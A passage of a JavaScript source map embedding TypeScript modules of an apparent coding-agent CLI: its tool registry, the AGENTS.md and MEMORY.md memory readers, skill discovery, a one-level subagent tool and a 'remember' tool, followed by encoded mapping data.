\"./web/fetch\";\nimport { webSearchTool } from \"./web/search\";\n\nexport class ToolRegistry {\n private tools = new Map<string, Tool>();\n\n // todoStore defaults to the module-level shared store; subagent loops pass\n // their own instance so a child's todo_write cannot clobber the parent list.\n constructor(todoStore?: TodoStore) {\n for (const tool of [\n readFileTool,\n writeFileTool,\n editFileTool,\n globTool,\n grepTool,\n bashTool,\n webFetchTool,\n webSearchTool,\n taskListTool,\n taskOutputTool,\n taskKillTool,\n ...createTodoTools(todoStore),\n ]) {\n this.register(tool);\n }\n }\n\n register(tool: Tool): void {\n this.tools.set(tool.name, tool);\n }\n\n get(name: string): Tool | undefined {\n return this.tools.get(name);\n }\n\n list(): Tool[] {\n return [...this.tools.values()];\n }\n\n names(): string[] {\n return [...this.tools.keys()];\n }\n}\n","import { readFileSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\n\nexport const PROJECT_MEMORY_FILE = \"AGENTS.md\";\nexport const PROJECT_MEMORY_MAX_CHARS = 32 * 1024;\n\ninterface CacheEntry {\n mtimeMs: number;\n block: string | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\n// Reads <cwd>/AGENTS.md as project memory for the system prompt. Returns a\n// delimited block, or null when the file is missing, unreadable, or empty.\n// Synchronous like the git helpers; content is cached by path and re-read\n// only when the mtime changes, so /init regenerations mid-session are\n// picked up without a stat+read on every turn beyond a cheap statSync.\nexport function readProjectMemory(cwd: string): string | null {\n const file = path.join(cwd, PROJECT_MEMORY_FILE);\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) return hit.block;\n\n let block: string | null = null;\n try {\n let body = readFileSync(file, \"utf8\").trim();\n if (body) {\n if (body.length > PROJECT_MEMORY_MAX_CHARS) {\n body = `${body.slice(0, PROJECT_MEMORY_MAX_CHARS)}\\n\\n[AGENTS.md truncated to ${PROJECT_MEMORY_MAX_CHARS} characters]`;\n }\n block = `# Project instructions (AGENTS.md)\\n${body}`;\n }\n } catch {\n block = null;\n }\n cache.set(file, { mtimeMs, block });\n return block;\n}\n","import { readFileSync, readdirSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { starHome } from \"../config/paths\";\nimport type { Tool, ToolResult } from \"../tools/types\";\n\nexport const SKILL_FILE = \"SKILL.md\";\nexport const SKILL_MAX_CHARS = 32 * 1024;\n\nconst NAME_PATTERN = /^[a-z0-9-]+$/;\n\nexport interface Skill {\n name: string;\n description: string;\n filePath: string;\n // Directory holding the SKILL.md; supporting files referenced by the skill\n // are resolved relative to it.\n dir: string;\n scope: \"project\" | \"user\";\n}\n\n// Parses the YAML-ish frontmatter of a SKILL.md without a yaml dependency:\n// only flat `key: value` pairs are recognized, anything else is ignored.\nfunction parseFrontmatter(raw: string): { meta: Record<string, string>; body: string } | null {\n const match = raw.match(/^---\\r?\\n([\\s\\S]*?)\\r?\\n---\\r?\\n?/);\n if (!match) return null;\n const meta: Record<string, string> = {};\n for (const line of (match[1] ?? \"\").split(/\\r?\\n/)) {\n const kv = line.match(/^([A-Za-z][A-Za-z0-9_-]*):\\s*(.*)$/);\n if (kv?.[1]) meta[kv[1]] = (kv[2] ?? \"\").trim();\n }\n return { meta, body: raw.slice(match[0].length).trim() };\n}\n\ninterface CacheEntry {\n mtimeMs: number;\n skill: Skill | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\nfunction parseSkillFile(filePath: string, dirName: string, scope: Skill[\"scope\"]): Skill | null {\n let mtimeMs: number;\n try {\n mtimeMs = statSync(filePath).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(filePath);\n if (hit && hit.mtimeMs === mtimeMs) return hit.skill;\n\n let skill: Skill | null = null;\n try {\n const parsed = parseFrontmatter(readFileSync(filePath, \"utf8\"));\n const name = parsed?.meta.name || dirName;\n const description = parsed?.meta.description;\n if (parsed && NAME_PATTERN.test(name) && description) {\n skill = { name, description, filePath, dir: path.dirname(filePath), scope };\n }\n } catch {\n skill = null;\n }\n cache.set(filePath, { mtimeMs, skill });\n return skill;\n}\n\nfunction scanDir(base: string, scope: Skill[\"scope\"], into: Map<string, Skill>): void {\n let entries: string[];\n try {\n entries = readdirSync(base);\n } catch {\n return;\n }\n for (const entry of entries.sort()) {\n if (!NAME_PATTERN.test(entry)) continue;\n const parsed = parseSkillFile(path.join(base, entry, SKILL_FILE), entry, scope);\n if (parsed) into.set(parsed.name, parsed);\n }\n}\n\n// Discovers skills: user scope in <home>/skills/<name>/SKILL.md, project scope\n// in <cwd>/.star/skills/<name>/SKILL.md. Project skills override user skills\n// of the same name. Metadata is cached per file by mtime, so calling this on\n// every turn only costs two directory scans plus a stat per candidate.\nexport function discoverSkills(cwd: string, home: string = starHome()): Skill[] {\n const byName = new Map<string, Skill>();\n scanDir(path.join(home, \"skills\"), \"user\", byName);\n scanDir(path.join(cwd, \".star\", \"skills\"), \"project\", byName);\n return [...byName.values()];\n}\n\n// System-prompt block listing the available skills. The model loads a skill's\n// full instructions on demand through the skill tool instead of paying the\n// token cost upfront.\nexport function formatSkillsBlock(skills: Skill[]): string {\n const lines = skills.map((s) => `- ${s.name}: ${s.description}`);\n return [\n \"# Available skills\",\n \"When the user's request matches one of these skills, call the skill tool with its name to load the full instructions before proceeding:\",\n ...lines,\n ].join(\"\\n\");\n}\n\n// Reads the skill body (frontmatter stripped) for the skill tool result.\nexport function loadSkillBody(skill: Skill): string | null {\n let parsed: { meta: Record<string, string>; body: string } | null = null;\n try {\n parsed = parseFrontmatter(readFileSync(skill.filePath, \"utf8\"));\n } catch {\n return null;\n }\n if (!parsed?.body) return null;\n if (parsed.body.length > SKILL_MAX_CHARS) {\n return `${parsed.body.slice(0, SKILL_MAX_CHARS)}\\n\\n[skill truncated to ${SKILL_MAX_CHARS} characters]`;\n }\n return parsed.body;\n}\n\n// The skill tool re-discovers skills on every call, so skills added\n// mid-session are usable without a restart.\nexport function createSkillTool(deps: { cwd: string; home?: string }): Tool {\n return {\n name: \"skill\",\n description:\n \"Load the full instructions of a skill by name. Available skills are listed in the system prompt when present; call this before starting work that matches one of them.\",\n permission: \"read\",\n parameters: z.object({\n name: z.string().describe(\"Name of the skill to load, as listed in the system prompt.\"),\n }),\n async execute(args): Promise<ToolResult> {\n const skills = discoverSkills(deps.cwd, deps.home);\n const skill = skills.find((s) => s.name === args.name);\n if (!skill) {\n const available = skills.map((s) => s.name).join(\", \") || \"none\";\n return {\n content: `Unknown skill: \"${args.name}\". Available skills: ${available}`,\n isError: true,\n };\n }\n const body = loadSkillBody(skill);\n if (!body) {\n return { content: `Skill \"${skill.name}\" is empty or unreadable.`, isError: true };\n }\n return {\n content: [\n `# Skill: ${skill.name}`,\n \"\",\n body,\n \"\",\n `Base directory for relative file references in this skill: ${skill.dir}`,\n ].join(\"\\n\"),\n };\n },\n };\n}\n","import type { LanguageModel } from \"ai\";\nimport { z } from \"zod\";\nimport type { StarConfig } from \"../config/schema\";\nimport type { PermissionRequest } from \"../permissions/types\";\nimport { createDefaultRegistry } from \"../tools\";\nimport type { Tool, ToolResult } from \"../tools/types\";\nimport { defaultAgentTasks } from \"./agent-tasks\";\n\n// Subagents run one level deep: the child loop is created without the\n// subagent tool, so a subagent can never spawn another subagent.\nexport const MAX_SUBAGENT_DEPTH = 1;\n\nconst MAX_REPORT_CHARS = 20_000;\n\nconst SUBAGENT_PROMPT =\n \"You are a subagent spawned to handle a focused subtask on behalf of the main agent. Work autonomously with the tools available to you, then finish with a concise report of what you found or did. Your final text is returned to the main agent as the tool result — make it self-contained.\";\n\nexport interface SubagentDeps {\n model: LanguageModel;\n config: StarConfig;\n cwd: string;\n system?: string;\n // Inherited from the parent loop so the child requests carry the same\n // provider metadata (reasoningEffort).\n providerMetadata?: Record<string, Record<string, unknown>>;\n depth: number;\n getConfirmHandler?: () => ((req: PermissionRequest) => Promise<boolean>) | undefined;\n}\n\ninterface SubagentArgs {\n prompt: string;\n description?: string;\n}\n\n// Runs a child loop to completion and returns its formatted report; the\n// sync tool path and background agent tasks share this.\nasync function runSubagent(\n deps: SubagentDeps,\n args: SubagentArgs,\n cwd: string,\n signal: AbortSignal,\n): Promise<string> {\n const { AgentLoop } = await import(\"./loop\");\n const child = new AgentLoop({\n model: deps.model,\n registry: createDefaultRegistry(),\n config: deps.config,\n cwd,\n system: deps.system ? `${deps.system}\\n\\n${SUBAGENT_PROMPT}` : SUBAGENT_PROMPT,\n providerMetadata: deps.providerMetadata,\n subagentDepth: deps.depth + 1,\n });\n const confirmHandler = deps.getConfirmHandler?.();\n if (confirmHandler) child.confirmHandler = confirmHandler;\n\n let toolCalls = 0;\n let error: string | null = null;\n try {\n for await (const event of child.stream(args.prompt, signal)) {\n if (event.type === \"tool-result\") {\n toolCalls++;\n } else if (event.type === \"error\") {\n error = event.error.message;\n break;\n }\n }\n } catch (e) {\n error = e instanceof Error ? e.message : String(e);\n }\n\n // A user abort ends the child loop without an error event; surface it\n // through the same interrupted path as any other aborted tool instead of\n // returning a \"successful\" report that gets persisted as a normal result.\n if (signal.aborted) {\n throw new Error(\"Tool execution aborted.\");\n }\n\n let report = \"\";\n const messages = child.getMessages();\n for (let i = messages.length - 1; i >= 0; i--) {\n const message = messages[i];\n if (message?.role !== \"assistant\" || !Array.isArray(message.content)) continue;\n const text = message.content\n .filter((part) => part.type === \"text\")\n .map((part) => part.text)\n .join(\"\");\n if (text) {\n report = text;\n break;\n }\n }\n if (report.length > MAX_REPORT_CHARS) {\n report = `${report.slice(0, MAX_REPORT_CHARS)}\\n... (truncated)`;\n }\n\n const label = args.description ? ` \"${args.description}\"` : \"\";\n const stats = `[subagent${label}: ${toolCalls} tool call(s)]`;\n if (error) {\n throw new Error([`Subagent failed: ${error}`, stats, report].filter(Boolean).join(\"\\n\"));\n }\n return `${stats}\\n${report || \"(subagent produced no text output)\"}`;\n}\n\nexport function createSubagentTool(deps: SubagentDeps): Tool {\n return {\n name: \"subagent\",\n description:\n \"Spawn a subagent with its own agent loop to handle a focused subtask (research, exploration, or an isolated change). The subagent has the same tools but cannot spawn further subagents. Returns the subagent's final report. Prefer this for self-contained work that would otherwise clutter the main conversation. Set run_in_background to start it without blocking: independent subtasks then run concurrently and their reports are delivered to you automatically when they finish (also inspectable via task_list/task_output/task_kill).\",\n permission: \"exec\",\n parameters: z.object({\n prompt: z.string().describe(\"Complete, self-contained instructions for the subagent.\"),\n description: z\n .string()\n .optional()\n .describe(\"Short label for the subtask, shown in the result header.\"),\n run_in_background: z\n .boolean()\n .optional()\n .describe(\n \"Run concurrently in the background and return a task id immediately (default false). Use for independent subtasks that can run in parallel.\",\n ),\n }),\n async execute(args, ctx): Promise<ToolResult> {\n if (args.run_in_background) {\n const task = defaultAgentTasks.start((signal) => runSubagent(deps, args, ctx.cwd, signal), {\n prompt: args.prompt,\n description: args.description,\n });\n const label = args.description ? ` \"${args.description}\"` : \"\";\n return {\n content: `Background subagent ${task.id}${label} started. Its report will be delivered as a message when it finishes; use task_list/task_output to check progress.`,\n };\n }\n\n const signal = ctx.abortSignal ?? new AbortController().signal;\n try {\n return { content: await runSubagent(deps, args, ctx.cwd, signal) };\n } catch (e) {\n return { content: e instanceof Error ? e.message : String(e), isError: true };\n }\n },\n };\n}\n","import { ToolRegistry } from \"./registry\";\nimport type { TodoStore } from \"./todo\";\n\nexport { ToolRegistry } from \"./registry\";\nexport { TodoStore, createTodoTools, setTodoPersistGuard } from \"./todo\";\nexport type { TodoItem } from \"./todo\";\nexport type { PermissionLevel, Tool, ToolContext, ToolResult } from \"./types\";\n\n// The registry constructor registers every built-in tool (todo tools\n// included); this helper only forwards the optional per-loop todo store.\nexport function createDefaultRegistry(todoStore?: TodoStore): ToolRegistry {\n return new ToolRegistry(todoStore);\n}\n","import { appendFileSync, mkdirSync, readFileSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { starHome, userMemoryPath } from \"../config/paths\";\nimport type { Tool, ToolResult } from \"../tools/types\";\n\nexport const USER_MEMORY_MAX_CHARS = 32 * 1024;\nexport const REMEMBER_TEXT_MAX_CHARS = 500;\n\ninterface CacheEntry {\n mtimeMs: number;\n block: string | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\n// Reads <home>/MEMORY.md as user long-term memory for the system prompt,\n// mirroring readProjectMemory: a delimited block, or null when the file is\n// missing, unreadable, or empty. Content is cached by path and re-read only\n// when the mtime changes, so appends via the remember tool self-invalidate.\nexport function readUserMemory(home: string = starHome()): string | null {\n const file = path.join(home, \"MEMORY.md\");\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) return hit.block;\n\n let block: string | null = null;\n try {\n let body = readFileSync(file, \"utf8\").trim();\n if (body) {\n if (body.length > USER_MEMORY_MAX_CHARS) {\n body = `${body.slice(0, USER_MEMORY_MAX_CHARS)}\\n\\n[MEMORY.md truncated to ${USER_MEMORY_MAX_CHARS} characters]`;\n }\n block = [\n \"# User memory (MEMORY.md)\",\n \"The following notes were saved by the user across sessions. Respect them unless they conflict with the current request.\",\n body,\n ].join(\"\\n\");\n }\n } catch {\n block = null;\n }\n cache.set(file, { mtimeMs, block });\n return block;\n}\n\n// Appends one bullet line to the memory file, creating it (and the home\n// directory) when missing. The mtime-keyed cache picks the change up on the\n// next read.\nexport function appendUserMemory(text: string, home: string = starHome()): void {\n mkdirSync(home, { recursive: true });\n appendFileSync(path.join(home, \"MEMORY.md\"), `- ${text}\\n`, \"utf8\");\n}\n\nexport function createRememberTool(deps: { home?: string } = {}): Tool {\n return {\n name: \"remember\",\n description: `Save a note to the user's long-term memory (${userMemoryPath()}), injected into every future session. ONLY use when the user explicitly asks to remember or save something. Never use autonomously.`,\n permission: \"write\",\n parameters: z.object({\n text: z\n .string()\n .max(REMEMBER_TEXT_MAX_CHARS)\n .describe(\"The note to save, as a single concise sentence.\"),\n }),\n async execute(args): Promise<ToolResult> {\n appendUserMemory(args.text, deps.home);\n return { content: `Saved to user memory: ${args.text}` };\n },\n };\n}\n"],"mappings":";;;;;;;;;;;;AAAA,SAA6B,QAAQ,QAAQ,gBAAAA,qBAAoB;;;ACAjE,SAAS,SAAS;AAEX,IAAM,uBAAuB,EAAE,OAAO;AAAA,EAC3C,MAAM,EAAE,OAAO;AAAA;AAAA;AAAA;AAAA;AAAA,EAKf,UAAU,EACP,KAAK,CAAC,qBAAqB,aAAa,kBAAkB,CAAC,EAC3D,QAAQ,mBAAmB;AAAA,EAC9B,SAAS,EAAE,OAAO;AAAA,EAClB,WAAW,EAAE,OAAO,EAAE,SAAS;AAAA,EAC/B,QAAQ,EAAE,OAAO,EAAE,SAAS;AAAA,EAC5B,SAAS,EAAE,OAAO,EAAE,OAAO,CAAC,EAAE,SAAS;AACzC,CAAC;AAEM,IAAM,oBAAoB,EAAE,OAAO;AAAA,EACxC,MAAM,EAAE,OAAO;AAAA,EACf,UAAU,EAAE,OAAO;AAAA,EACnB,OAAO,EAAE,OAAO;AAAA,EAChB,WAAW,EAAE,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,SAAS;AAAA;AAAA;AAAA,EAGhD,kBAAkB,EAAE,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,SAAS;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,EAQvD,iBAAiB,EAAE,OAAO,EAAE,IAAI,CAAC,EAAE,SAAS;AAAA;AAAA;AAAA,EAG5C,aAAa,EAAE,OAAO,EAAE,YAAY,EAAE,SAAS;AAAA,EAC/C,iBAAiB,EAAE,OAAO,EAAE,YAAY,EAAE,SAAS;AAAA;AA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AO,EAAE,SAAS,2BAA2B,SAAS,KAAK;AAAA,MAC7D;AACA,aAAO;AAAA,QACL,SAAS,eAAe,iBAAiB,QAAQ,MAAM,UAAU,OAAO,KAAK,CAAC;AAAA,QAC9E,SAAS;AAAA,MACX;AAAA,IACF;AAEA,QAAI,CAAC,OAAO,SAAS;AACnB,YAAM,KAAK,cAAc,eAAe,KAAK,MAAM,KAAK,IAAI;AAAA,IAC9D;AACA,WAAO;AAAA,EACT;AACF;","names":["generateText","chars","hooks","generateText","path","GIT_TIMEOUT_MS","GIT_MAX_BUFFER","runGit","path","runGit","mkdir","path","mkdir","path","spawn","existsSync","path","z","spawn","spawn","killTree","path","existsSync","z","killTree","spawn","readFile","stat","writeFile","path","z","schema","z","path","readFile","stat","writeFile","path","z","stat","path","re","schema","z","path","readFile","stat","path","z","schema","z","path","stat","readFile","stat","path","z","schema","z","path","stat","mkdir","writeFile","path","z","schema","z","path","mkdir","writeFile","z","EventEmitter","MAX_FINISHED_RECORDS","z","mkdir","readFile","writeFile","path","z","z","schema","truncate","z","TIMEOUT_MS","schema","z","readFileSync","statSync","path","readFileSync","statSync","path","z","cache","statSync","readFileSync","path","z","z","AgentLoop","z","signal","readFileSync","statSync","path","z","cache","path","statSync","readFileSync","z","generateText"]}
|